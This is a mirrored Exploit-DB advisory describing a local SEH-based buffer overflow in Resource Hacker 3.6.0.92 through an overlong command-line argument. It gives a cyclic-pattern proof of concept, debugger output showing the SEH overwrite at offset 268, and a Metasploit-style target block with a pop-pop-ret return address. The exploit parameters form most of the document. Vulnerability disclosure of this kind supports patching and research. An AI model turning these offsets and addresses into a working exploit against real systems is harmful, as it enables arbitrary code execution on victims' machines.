Resource Hacker v3.6.0.92 – Buffer overflow - 体验盒子

作者： Rafael Pedrero

日期： 2023-03-27

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/51079/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

# Exploit Title: Resource Hacker 3.6.0.92 - Buffer overflow

# Discovery by: Rafael Pedrero

# Discovery Date: 2022-01-06

# Vendor Homepage: http://www.angusj.com/resourcehacker/

# Software Link : http://www.angusj.com/resourcehacker/

# Tested Version: 3.6.0.92

# Tested on:Windows 10

CVSS v3: 7.3

CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE: CWE-119

Heap-based buffer overflow controlling the Structured Exception Handler

(SEH) records in Reseource Hacker v3.6.0.92, and possibly other versions,

may allow attackers to execute arbitrary code via a long file name argument.

Proof of concept:

Open ResHacker.exe from command line with a large string in Arguments, more

than 268 chars:

File 'C:\ResourceHacker36\ResHacker.exe'

Arguments

'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac...'

SEH chain of main thread

AddressSE handler

0018FCB4 316A4130

6A413969 *** CORRUPT ENTRY ***

0BADF00D [+] Examining SEH chain

0BADF00D SEH record (nseh field) at 0x0018fcb4 overwritten with

normal pattern : 0x6a413969 (offset 268), followed by 12 bytes of cyclic

data after the handler

0BADF00D ------------------------------

'Targets'=>

[

[ '<fill in the OS/app version here>',

{

'Ret' =>0x00426446, #

pop eax # pop ebx # ret- ResHacker.exe (change this value from Mona,

with a not \x00 ret address)

'Offset'=>268

}

],